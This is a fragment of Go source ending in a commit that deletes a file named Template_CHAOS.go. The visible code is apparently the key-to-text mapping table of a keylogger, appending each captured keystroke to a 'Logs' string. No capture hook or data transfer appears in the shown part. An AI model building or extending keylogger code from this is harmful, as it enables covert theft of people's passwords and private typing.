				Logs += " "
			case 33:
				Logs += "[PageUp]"
			case 34:
				Logs += "[PageDown]"
			case 35:
				Logs += "[End]"
			case 36:
				Logs += "[Home]"
			case 37:
				Logs += "[Left]"
			case 38:
				Logs += "[Up]"
			case 39:
				Logs += "[Right]"
			case 40:
				Logs += "[Down]"
			case 44:
				Logs += "[PrintScreen]"
			case 45:
				Logs += "[Insert]"
			case 46:
				Logs += "[Delete]"
			case 48:
				Logs += "[0)]"
			case 49:
				Logs += "[1!]"
			case 50:
				Logs += "[2@]"
			case 51:
				Logs += "[3#]"
			case 52:
				Logs += "[4$]"
			case 53:
				Logs += "[5%]"
			case 54:
				Logs += "[6¨]"
			case 55:
				Logs += "[7&]"
			case 56:
				Logs += "[8*]"
			case 57:
				Logs += "[9(]"
			case 65:
				Logs += "A"
			case 66:
				Logs += "B"
			case 67:
				Logs += "C"
			case 186:
				Logs += "Ç"
			case 68:
				Logs += "D"
			case 69:
				Logs += "E"
			case 70:
				Logs += "F"
			case 71:
				Logs += "G"
			case 72:
				Logs += "H"
			case 73:
				Logs += "I"
			case 74:
				Logs += "J"
			case 75:
				Logs += "K"
			case 76:
				Logs += "L"
			case 77:
				Logs += "M"
			case 78:
				Logs += "N"
			case 79:
				Logs += "O"
			case 80:
				Logs += "P"
			case 81:
				Logs += "Q"
			case 82:
				Logs += "R"
			case 83:
				Logs += "S"
			case 84:
				Logs += "T"
			case 85:
				Logs += "U"
			case 86:
				Logs += "V"
			case 87:
				Logs += "X"
			case 88:
				Logs += "Z"
			case 89:
				Logs += "Y"
			case 90:
				Logs += "Z"
			case 96:
				Logs += "0"
			case 97:
				Logs += "1"
			case 98:
				Logs += "2"
			case 99:
				Logs += "3"
			case 100:
				Logs += "4"
			case 101:
				Logs += "5"
			case 102:
				Logs += "6"
			case 103:
				Logs += "7"
			case 104:
				Logs += "8"
			case 105:
				Logs += "9"
			case 106:
				Logs += "*"
			case 107:
				Logs += "+"
			case 109:
				Logs += "-"
			case 110:
				Logs += ","
			case 111:
				Logs += "/"
			case 112:
				Logs += "[F1]"
			case 113:
				Logs += "[F2]"
			case 114:
				Logs += "[F3]"
			case 115:
				Logs += "[F4]"
			case 116:
				Logs += "[F5]"
			case 117:
				Logs += "[F6]"
			case 118:
				Logs += "[F7]"
			case 119:
				Logs += "[F8]"
			case 120:
				Logs += "[F9]"
			case 121:
				Logs += "[F10]"
			case 122:
				Logs += "[F11]"
			case 123:
				Logs += "[F12]"
			case 91:
				Logs += "[Super]"
			case 93:
				Logs += "[Menu]"
			case 144:
				Logs += "[NumLock]"
			case 189:
				Logs += "[-_]"
			case 187:
				Logs += "[=+]"
			case 188:
				Logs += "[,<]"
			case 190:
				Logs += "[.>]"
			case 191:
				Logs += "[;:]"
			case 192:
				Logs += "['\"]"
			case 193:
				Logs += "[/?]"
			case 221:
				Logs += "[[{]"
			case 220:
				Logs += "[]}]"
			case 226:
				Logs += "[\\|]"
			}
		}
	}
}
<commit_msg>Delete Template_CHAOS.go<commit_after><|endoftext|>